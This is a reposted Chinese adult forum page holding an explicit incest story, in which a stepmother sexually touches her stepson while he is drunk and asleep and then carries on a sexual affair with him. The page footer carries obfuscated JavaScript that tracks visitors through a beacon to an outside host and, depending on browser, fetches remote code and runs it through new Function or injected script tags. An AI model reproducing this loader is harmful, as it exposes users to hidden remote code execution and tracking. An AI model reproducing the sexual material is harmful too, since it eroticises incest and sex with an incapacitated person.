热门搜索

【痴心后母】【作者:不详】【完】

本帖最后由 滴血蔷薇 于 2017-11-17 10:15 编辑

  我叫阿坤,今年二十岁,已经做事两年。我的亲生母亲早死,有一个后母,她的模样像极了大陆着名影星傅艺伟,可说是长得一模一样,无论是身材、容貌、眼睛、肌肤、气质,都是相同的,如果二人站在一起,简直无法分辨。

  她比我父亲小了近二十岁,据人说,当年父亲在学校教书,后母曾是他的学生,学习十分努力勤奋,是父亲的得意门生。她当时因家境贫寒,拿不出学费,曾提出掇学就业。父亲对这样的好学生十分可惜,与校方联系免除了她的学费,还时常接济她家。

  在她中学毕业时,我的母亲已去世一年多,她崇拜我父亲的人品,便主动提出要嫁给我的父亲。当时,她一个十七岁的少女,生得花容月貌,加上人品出众、娴淑端庄,确是一个世上难寻的好女子。

  但父亲考虑年龄悬殊太大,不愿贻误她的青春年华,便坚决拒绝。可是她的决心已下,表示此生除我父亲不嫁,否则就要出家当尼姑。她的态度感动了我的父亲,这样才成就了婚姻。

  婚后不久,父亲辞教经商,后来又从事实业。二人相亲相爱,鱼水和谐。但可惜的是,她与父亲结婚才十年,在三年前,家父又去世了。那时,她才二十七岁,即开始守寡。你现在可知道,后母是一个多麽不幸的人。

  继母是在我入小学时,先父娶她回来的,即是说,我从七岁时便由她照顾至现在。她也生了一子一女,大的八岁,小的才六岁,均在读小学。虽然她有了自己的子女,但仍一如既往地关心我、照顾我,像对待自己的孩子一样。

  而我也始终把她当作自己的母亲,由于家母去世时我的年龄尚小,连母亲长什麽样子都忘记了,所以,在我的心目当中,后母就是母亲。

  我们是个小康之家,生活不错,可惜父亲早殂,他的小厂关门,我不能继承父业,只能出去打工。

  继母做楼房经纪,生意很好。因为她是一个很干练的女人,在生意场上可说是一个强者,再加上父亲的遗产,她与弟妹的生活是不会发愁的。

  父亲去世后,母亲独立支持一个家庭,日子过得还相当红火,一家人亲密无间。由于后母出众的才干和绝世的美貌,许多人主动表示愿意与她同结连理,但均遭到拒绝,理由是为了孩子们,不想再结婚。她独守空闺,洁身如玉,从不作红杏之想。对此,我也是十分崇敬的。

    我从小就养成一个习惯:每天离家前都要吻一下后母的脸颊。现在年龄虽然已经不小,但每天仍然这样做,大家都习以为常。最近我发现,她看我的眼神有些异样,格外明亮、亲切,充满一种我无法表达的神韵。

  每次吻她时,她身子有些颤抖,有一次她甚至搂住我的腰,要我再多吻她几下。

  还有一次,她甚至搂着我的脖颈,颠起脚尖,主动在我的嘴唇上吻了一下。我自己也感觉对后母的感情与以前不同:我开始注意她的美貌和红润细嫩的肌肤,特别希望多吻她几次。

  她生性嫺静而温顺,然而身上却隐藏着某种令人动情的魅力。我心想,母亲多麽年轻漂亮,难怪那麽多男人在追求她。

  如果我不是她的儿子,大概也会为她所迷倒的。

  我平时只是常吻她的脸颊,但心中却萌生了一个欲望,希望经常吻一下她那丰腴而美丽的樱唇。当然这只是想入非非而已,因为我知道,只有情人间才能接吻。我知道自己的想法极其不妥,尽量压抑自己的情感。

  在三个月前的一天晚上,是我的生日,继母弄了一些好饭菜,一家人开开心心地为我庆祝生日。当晚,继母频频劝我喝酒,我也是喜欢饮啤酒的。当时我饮了不少啤酒,还饮了少许白兰地,这样,我有点醉意,饭后便想回房休息,谁知刚站起来竟东倒西歪地差一点摔倒。

  母亲见我这样,便一手拉起我的一个胳膊架在她的脖子上,另一只手搂着我的腰,连拖带抱地将我送回房间。我能感觉出她在为我脱去鞋袜和外衣,以后的事全然不知,倒在床上睡着了。

  睡到半夜时分,我朦胧中觉得有人在抚弄我的阳具,惊醒过来,原来是后母躺在我的身边。她已是一丝不挂,我也是身无寸缕,看来是她为我脱光了衣服。我被她紧紧搂在怀里亲吻。我睁大眼睛,对眼前的景象十分不解,不禁「啊!」了一声。

  后母见我醒来,也大吃一惊,急忙放开我的阴茎,并把我从她的怀里推开,扭过身去,粉腮羞红,娇涩地说道:「啊呀!真是对不起!我……我原以为……你醉了……不会醒来的……」说着,用手捂在脸上。

  但是,我从她的手缝里,看见她的脸一直红到脖颈。我无所措手足,就要下床离开。但是她不准,央求我:「阿坤,不要走!」并在我的背后用四肢缠着我不放,主动吻我的脖颈,怯生生地说出一些对我爱恋已久、渴望委身于我的缠绵话语。

  她说:「坤儿,你知道吗,你身上有一种令人陶醉的魅力,没有任何一个女人能不为之动心,我实在无法抗拒你的魅力!」接着她又说道,今晚原以为我喝多了酒不会醒来的,想悄悄与我亲热一会儿,然后再离开,没有想到我竟醒来。

  我又转过身来看着她,她连忙垂下螓首,娇羞之态可掬。

  最难消受美人恩!那话语,软语莺声,那神态,楚楚可怜,使我有一种难以言喻的感受,心头不禁一荡,绮念横生。

  后母今年才三十岁,生得清秀甜媚,粉?丹唇,桃腮樱口,十分美貌;特别是她那一双水汪汪的大眼睛,流盼轻盈,清澈闪亮,明眸善睐,含情脉脉,看你一眼就会使你浑身酥麻;而且,她有着非常骄人的、少女一般美妙的身材,苗条而丰腴,肌肤雪白细腻,是一个标准的美人,加上她很会保养和打扮,看上去最多二十岁出头,丰神绝代。

  说实在的,许久以来,每当看到她,我也常常有所思慕,但由于是母亲,加之她的气质高贵端庄、落落大方,妩媚中带着刚健,我对于她崇敬有加,倒是从来没有产生过非份之想。

  现在,她那种因胆怯而受到压抑的渴望、那种深藏在心底里的情欲已经被激发出来了,并且变得十分强烈甚至无法抑制,充满柔情,一反平时的神态,主动对自己投怀送抱,仪态万千,婀娜多姿,媚眼流波,热情如火,那楚楚娇羞之态,益增妩媚,格外动人。

  我实在无法抗拒她的诱惑,冲动地伸出双臂,把她紧紧抱在怀中,在她的腮上、唇上、颈上亲吻,嘴里不时呼道:

  「妈咪……妈咪……我好喜欢你!」同时一双手在她那富有曲线和充满弹性的肉体上到处乱摸搓捏。

  面对我的狂烈的冲动,她又有些羞涩,连忙拉过一个被单盖在身上。我笑着把被单拽走,把她那坚实的乳房、动人的臀部和几乎平坦的腹部暴露得一清二楚。她多麽像一朵含苞欲放的玫瑰花,等待着绽开吐艳。我继续亲吻她。

  她渐渐地不那麽胆怯了,她开始变得越来越狂热和无所顾忌。但是她一直完全失去端庄和羞涩。

  「啊!小亲亲!」后母十分兴奋地抱着我,那只手又抓住了我的阳具,用力地一松一紧地握着。我热烈地与她接吻,她的嘴唇微微张开,让我的舌头进去,与她的小舌缠绵在一起。我们互相紧紧地拥抱着,亲吻着……不久,她的喉咙里传出了一阵阵的呻吟声,身子微微颤抖。又过了一会儿,她在我耳畔细声说:「坤儿……妈咪……好需要……快点给我!」她的热情已经达到了沸点,满眼洋溢着饥渴、乞求的神色。她已经等不及了。

  我这时也有些忍受不住了,虽然我从来没有和女性接触过,但我从书上知道,男女交欢是要把生殖器插到一起的,而且还看过一些有关的电影,自然知道男女交欢是怎麽回事。于是,我翻身压在了她的娇躯上,挺动腰肢,硬邦邦地向那神秘之处插去。

  但我实在是没有经验,几次冲击都未得其门而入。她秀目微抬,娇羞地笑了笑,慢慢地分开两腿,用手引导我那十分粗大硬挺的阴茎进入了一个温柔、滑润、紧凑的天地中。

  刚进去一点,我便停了下来。

  她喘息着说:「你……怎麽……不进去?」我小声说:「妈咪,我不敢使劲往里进,怕弄疼了你。」「不要紧的,我里面很深,不会疼,求求你快一点!我受不了啦!」她娇呼着。我于是使劲进去。在我向下压时,她的腰猛地向上一挺。

  「啊!」她舒畅地低呼一声,充满甜蜜的柔情。这表示我已经插到了她的内面。我紧紧地搂着她,吻她。

  我发现她的阴道在一下一下地抽搐,吸吮我的阴茎,觉得很舒服。她小声说:「亲爱的,你动一动!」我便将腰肢左右摆动。

  她说:「不是这样,要上下动,一进一出地动!」我按她的指导,慢慢地一进一出地抽送。她欣喜地赞许道:「对,就是这样,还可以快一些,再用力些!」我开始逐渐加快……我不停地冲击。

  她紧闭秀目,开始细声呻吟,螓首左右摆动,时而紧咬下唇,时而樱口半张,呼吸急促,那表情似乎很痛苦。

  我认为是自己的冲击太粗暴使她难过,便停止动作,小声说:「妈咪,对不起,我弄疼了你吗?」她睁开眼,娇羞地说:「不,我很舒服,不要停下来,快,再快一些!」我受到鼓励,又加快了速度。

  她的腰肢在剧烈地扭动,张着嘴,呼吸更加急促,胸脯快速地起伏,并叫着我的名字:「快!快!……再快些,大力!……再大力!……噢,我快要死了!」我疯狂般地冲动着。她似乎处于半昏迷状态,嘴里发出断断续续的呢喃声,听不清说的什麽,继而发出一阵阵狂热的叫喊,尖叫着,要求我再大力。我越发用力。她的身子像一艘击浪的小船,上下颠簸,一头秀发也随着身子的快速摆动而飞扬着,十分动人。

  突然,她尖细地嘶叫一声,全身一阵痉挛,叫声随之停止,呼吸仍然很急促。渐渐地,她静止了,像睡着一样,瘫软在床上,嘴角挂着一丝幸福满足的笑容。我知道,她来了一次高潮。我这时还没有排泄,那话儿仍然硬挺地停留在她的体内,充实着她的阴道。

  我从书上知道,女人高潮后需要爱抚,便轻轻抚摸她、吻她。过了大约二十分钟,她慢慢睁开媚眼,伸出柔荑,抚摸着我的脸颊,充满感激地柔声道:「坤儿,你真好!」搬下我的头,热烈地亲吻我。

  我们紧紧地拥在一起,抬股交颈,双唇相连,热情抚摸,久久地缠绵着……不久,她的盘骨蠕动起来了,我也渴望再来一次。

  于是,我又再度冲击。她不停地呻吟着,喊叫着,尖尖的指甲狠抓我的手臂,而她的分泌有如潮水。

  很快,她又处在高潮的痉挛中,她的腿象八爪鱼一般缠着我的腰,嘴里叫着:「坤儿……抱紧我,我快要死了,我……」她的话渐渐微弱,有些说不清楚了,她只是在颤抖着、颤抖着,后来忽然完全松弛,腿子也放了下来,躺在那里如同昏迷了一般……这一晚,一个是久旱逢雨、如饥似渴、不知满足,一个是初尝温柔、迫不及待、久战不疲。我们不停地造爱,改换了几种姿势,我在书上了解到的性知识派上用场了,什麽「骑马式」、「六九式」、「细品玉萧」、「左侧式」、「右揽式」、「开叉式」、「背进式」、「肩挑式」……都试了一试。

  我发现,妈咪虽然比我年长,且已结婚十年有余,但她的性知识极其贫乏,就知道男上女下的传统方式。由于初次同我上床,一直流露出少女般的羞涩与忸怩,不好意思对我称赞,但从她那迷惘、惊讶的眼神,可以看出:她对我的丰富性知识是多麽满意、崇拜和信服。

  她很驯服地听从我的摆布,乐于在我的指导下寻欢,而且是那麽满意和投入。这一晚,我们梅开八度,直至天明。

  她刚从疯狂大胆和忘情的呻吟中清醒过来后,就立刻又变成一位羞怯和庄重的母亲了。当我搂着她的脖颈,用手在她脸上轻抚时,她的脸变得那麽红,满眼娇羞。

  我问:「妈咪,你舒服吗?」抚着我的脸,娇羞地说:「坤儿,好孩子,你真有本事,你弄死妈咪了!我被你弄死好几次了!

  啊,我真幸福呀!我还从来没有得到过这麽大的享受,而且一夜之中,我竟有过十几次高潮!」我说:「妈咪与父亲结婚十几年,难道没有这麽高兴过吗?」她说:「你父亲是个极好的人,在性生活上确实给过我不少欢乐。但是他的年龄毕竟大了,力气不足,他的宝贝也没有你那麽粗长,所以,每次做爱最多给我一次高潮。而且他只会男上女下那一种传统姿势,没有你懂得那麽多。坤儿,你的技巧真是震人心弦。坤儿,今天我才体会到什麽是如醉如痴、欲仙欲死了!」说完,不好意思地把脸贴在我的胸前,一条腿搭在我的身上,并伸出一只手握着我的玉柱,惊呼:「哇!还是这麽强硬!坤儿,妈咪被你迷死了!」自鸣钟响了六下,已经是清晨六点钟了。这就是说,从昨天晚上十点钟开始,我们整整干了一夜。

  她抚着我的脸,娇声说道:「坤儿,我起不来了,这一夜,我被你折腾得骨头都散了!」又说:「请你去叫醒两个孩子,让他们吃点心,然后去上学,好吗?」我答应一声,又抱着那软绵绵的娇躯,在她的唇上、脸上吻了一阵,然后起来穿上衣服,向门口走去。

  「回来。」她忽然小声叫着我:「坤儿,两个孩子每天上学前是要来与我道别的。我不想让他们看见我睡在你的房间里。可是。」说到这里,她面带娇羞:「我现在浑身无力,实在动不了。请你……先把我……抱回我的卧室,好吗?」我微笑着点头,将那一丝不挂的光裸的娇躯轻轻抱起来,从楼下我的卧室送她到二楼她的卧室。她两臂揽住我的脖颈,不停地在我的脸上、颈上亲吻。当我把她放在床上时,那身子是与床垂直的,两腿吊在床边,而她竟瘫软在床上,一动也不能动。

  她有些难为情地看着我,苦笑着说:「我连一点力气都没有了!」

  我会意地笑了笑,并俯身轻轻抚摸她那嫣红的俏脸,在她唇上吻了一下。在我准备抱起她的两腿,把她的身子摆平时,一番迷人的景象把我吸引住了:雪白的酥胸上两座乳峰高高挺耸,一对鲜红的蓓蕾在朝阳的照耀下光采灿然。

  平坦的小腹下,一个极其美丽的半圆形的凸起,由于两腿吊在床边而显得更加突出,上面覆盖着一层薄薄的乌黑的卷发。

  而那凸起的中央,是一条细细的窄缝,时隐时现。

  「啊,真美呀!」我赞叹着。昨天晚上只顾交欢,我根本无暇欣赏这美丽的娇躯。她羞眼半开,看我一眼,忸怩地笑了笑,便又闭上了眼睛。我冲动地分开那两条修长的玉腿,使那窄缝变宽,露出了粉红色的方寸之地。我忘形地扑了上去,伸出舌头便舔吮起来。

  每舔吮一次,她的身子便颤抖一下。

  她痴迷地呻吟着,然而尚存清醒,小声呢喃道:「不要,坤儿,现在不要,我怕孩子们看见!」我被她提醒,只好停止,但最后还是将舌头伸进阴道中去,搅了一会,弄得她宛转娇啼,方才甘休。我抱起她,把身子放平,并为她盖上一条床单。

  我去叫醒两个弟妹,并安排他们吃了早饭。在出发上学之前,他们果然到妈咪的房间里,去与妈咪告别。我跟着去了。

  她听到动静,睁开疲倦的秀目。两个孩子问:「妈咪,你病了吗?怎麽现在没有起床?」她的脸一红,慈祥地笑了笑,然后少气无力地柔声说:「妈咪没有病,只是昨天太累了,要多睡一会。你们上学去吧,中午在学校要多吃点饭,下午放学早点回家。」送走弟妹,已是七点半钟。我到卧室去看她,只见她仍然在熟睡,两臂和酥胸都露在外面,那雪白的肌肤、嫣红的脸庞十分妩媚动人。

  我不禁弯下腰在她的唇上亲吻。她没有醒。我于是把卧室的门锁上,脱光衣服,钻进床单中,把臂伸到她的颈下,拥着她睡下,因为这一夜的交欢,我也是十分疲倦的。

  下午两点钟我醒来时,发现玉人仍然在怀。她还没有醒,但一只手紧紧握住我的玉柱,另一只手揽住我的颈项,脸伏在我的肩窝中,整个身子都偎着我,一条腿搭在我的身上。

  听着那匀称细弱的呼吸声,嗅着她身上发出的一股股馥郁的清香,看着那嫣红的脸蛋和嘴角挂着的迷人的微笑,我又沈浸在幸福的汪洋中。我禁不住又轻轻搬正她的身子,分开两条修长的大腿,爬了上去,让玉柱进入温柔乡中。我刚刚动了几下,她便醒了,「噢!」地欢呼一声,就与我抱在了一起……交欢过后,我先起床,没有穿衣服,便点上一支香烟,坐到沙发上看报纸。这时,她也起来了,与我一样赤裸着身体,走到我的跟前,面对我骑坐在我的膝头上,揽着我的脖颈,把香烟从我手中拿开,娇嗔地说:「亲爱的,我不让你抽烟,那东西对身体不好!」我笑着说:「当然可以!我的小心肝!」说着,揽着她的纤腰,与她开始了一轮热烈的亲吻。吻着吻着,她神秘地附在我耳边小声说:「喂!你的那话儿好硬呀,顶得我的肚子好疼!」说完「咭」地一笑。

  我心中一动,便说:「是吗?让我看看。」说着,我两手抱紧她的纤腰,把娇躯向上一举。当我放下她时,只听她娇呼一声:「呀,你好坏!」说完,娇首后仰,陶醉地闭上眼睛。原来,在我举起她时,趁势把硬挺的玉柱对准了那温柔之洞,放下她时,便一贯到底。于是,我握着她的蛮腰,她扶着我的双肩,开始了上下耸动……过了一会儿,我抱着她站起身来,两体相联。她的身子几乎与地面平行,两条玉腿勾住了我的腰。我一进一退地抽送着,她频频呼叫着。她的身子软了,娇躯下垂,秀发拖地,慢慢地,她的两手撑在了地上。玉体像一条风浪中的小船,随着我的动作前后颠簸着,两个坚挺的乳房高高耸起,豆蔻含苞,玉峰高并,十分优美……我忽然想到一个主意,便抱起她,说:「妈咪,请你扒在沙发扶手上。」不解地问:「干什麽呀?」我说:「我想站着造爱,从你的后面进入。」她的脸刷地变得通红,忸怩着:「不,那怎麽可以!」我抚着她的俏脸,柔声说:「一本书上介绍的,不仿试试。」她用粉拳轻轻在我胸前擂了一下,娇呼道:「你好坏,还没有娶妻,就看这些乌七八糟的书!」「谁说我没有娶妻?

  我已经有了一位千娇百媚的妻子了!」我说。她一楞神,急忙问:「在哪里?」我说:「远在天边,近在眼前!」她「嘤咛」一声将脸埋到我的怀里,搂着我的腰,一双粉拳捶打着我的后背。我也抱紧娇躯,一挺腰,使她的脚离开地面,然后落在我的脚面上,我带着她走到沙发侧面,扶她站好,上身扒到沙发扶手上,雪白浑圆的玉臀高高耸起,美极了!

  我抚弄一会儿,又将她的两腿稍稍分开,露出了那迷人的粉红色的方寸之地。我用手指抚摸那地方,她的身子微微在颤抖。

  我发现那里已经是溪流潺潺,于是不假思索地直贯源头。她「噢」地叫了一声。

  我由慢至快,九浅一深,频频抽送。这个姿势,力度大,角度新,插得深,与在床上做爱的感觉大不一样!她在娇喘,在呻吟,在颤抖,在扭动……高潮一浪接一浪,喘息声、呻吟声、呢喃声、呼叫声此起彼伏……终于,在她「我死了!」的尖叫声中,二人同时进入高潮的巅峰。她软倒在沙发扶手上,而我瘫在她的身上。

  我环抱娇躯,双手抚摸硬挺的双乳,嘴唇亲吻丰腴的脊背和粉臀。良久,我把她身子翻转,横空抱将起来。她秀目紧闭,身子软得像一滩泥,头颈后仰、秀发垂地。我坐到沙发上,让她坐在我的腿上,身子偎在我的怀中。

  剧烈的运动使她疲倦得沈静地睡着了,发出了轻微均匀的呼吸声,吹气如兰。我激动地抚摸柔嫩的肌肤,亲吻嫣红美妙的樱唇和洁白清秀的俏脸……她额头上出汗了,嘴里莺啼般呼叫着我的名字:「坤儿……,你在那里?我想你呀!坤儿!」眼角还流出了几滴眼泪。

  我轻吻她的俏脸,小声说:「妈咪,我在这里呀!她睁开迷茫的醉眼,说:「坤儿,可找到你啦!我们这是在哪里?」我说:「妈咪,我们在家,在厅里呀!」

  她小声道:「我还活着吗?刚才,我死了!坤儿,是真的,真的死了!我记得自己的灵魂腾云驾雾到了天上,在一片彩云中飞翔,我还看到一片宫殿,看到有好多仙女在跳舞,音乐也特别优美。

  我激动地加入她们的行列,与她们一起跳,我身上也穿着与她们同样的彩衣。那时,我觉得身上特别轻松,心情也非常舒畅。

  啊!真好!后来,我突然想起了你,想找你一起跳舞,可是到处找不到你,我大声叫你的名字,也无人回答,急得满头大汗,哭了起来,不知如何是好。后来听到你叫我,一睁开眼,却躺在你的怀里!原来是一场梦!坤儿,这梦多好玩!」说完笑了起来,笑得那?甜美,那麽迷人,那麽天真,眼角还挂着泪珠,好像一个天真烂熳的小姑娘。我忽然觉得她是自己的小妹妹,怜惜之情油然而生,不觉伸出手,把她抱起来,让她坐我的腿上。

  她小鸟依人般依偎在我的怀里,两臂缠着我的腰,好像怕再失去我。我抚摸着她那嫣红的桃腮,低头柔声道:「妈咪,下次再到天上,一定得先叫上我呀!」「好的!一定叫你!」她那美丽的大眼睛调皮地凝视着我,认真地点点头。

  「一言为定!」我说。「一言为定!」她大声说。说完,二人抱在一起,哈哈大笑!当笑声停下来时,她搂着我的脖颈,小声说:「坤儿,我觉得肚子饿了,好饿好饿哟!」我抬头看看挂钟,已经是下午五点半钟了,笑着说:「妈咪,从昨晚到现在,我们将近二十四小时没有吃饭了!」她一想,说:「对,今天早饭、午饭都没有吃,我们一直在床上,不停地做爱!哎呀,我只怕来过二十几次高潮了!」说完,两人又拥抱着大笑一阵。「坤儿,你也很累了,休息一会儿吧,我去为你做早餐!」她笑着说,并挣扎着要从我身上下来。

  我抱着她不放,说:「妈咪累了,还是让我去做吧!」她娇滴滴地佯嗔道:「那就一起去吧!刚才梦里我找得你好苦,再也不让你离开我了!」我抱起她往厨房走。她说:「光着身子怎麽去做饭呀!总得先穿上衣服吧!」我说:「这样不是很好吗!我们还可以边做饭边造爱!」她「噗哧」一笑,脸又是一红,柔声道:「不好!坤儿,再过半个小时,孩子们就回来了。」我无可奈何,只好服从。她搂着我的脖颈,在我嘴上轻轻亲了一下,安慰我说:「亲爱的,今天时间太紧张了。

  以后我们可以早一点做饭,那时候再实行你的方案,好吗?其实,听你一说,我也感到很剌激呢。不信你摸摸看,我底下已经流出来了!」晚饭时,一家四口坐在一起,谈笑风生。我感到有一只脚勾着我的腿,我自然知道是谁,便把那只脚夹在我的两腿之间。我看她一眼,她只低头吃饭,故意不看我,但是满脸红晕却是瞒不过人的。

  等弟弟妹写完作业上床睡觉后,我拉着妈咪的手走进她的卧室。一进门,我便抱起娇躯,远远地扔在弹簧床上。

  她惊叫一声,还没有回过味来,就被我脱去她的外衣、内衣和最贴身的背心和裤衩,抚摸着她身上的每一个部位。

  她神魂颠倒了,全身瘫软,两腿颤抖,乌黑的秀发披散在肩头和枕头上。她被欲焰烧得如醉如狂,羞涩已在熊熊的烈焰中化成了灰烬。两个赤裸的身子紧贴在一起,她闭上了眼睛,发出了急促的喘息声……经过这一天之后,我与后母的关系立即发生了变化,互相之间的情愫愈来愈深,真像是一对新婚夫妇,绸缪缱绻、痴情缠绵,柔情蜜意、难解难分,我们几乎每天晚上都造爱,然后相拥而睡,清晨再做一次爱,然后我离开她的卧室,因为怕弟弟妹妹发觉。

  有时我与她白天都在家,我们就都光着身子,相偎相依,随时做爱。有时是她主动,有时是我主动。反正只要有了兴致,我们就立即交欢,所以,家中的每一个地方,卧室、起居室、客厅、卫生间、厨房甚至小仓库……都曾做过我们行云播雨的阳台!

  
【完】
       字数:7410

热门搜索

友情链接



返回首页 | 返回顶部

function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};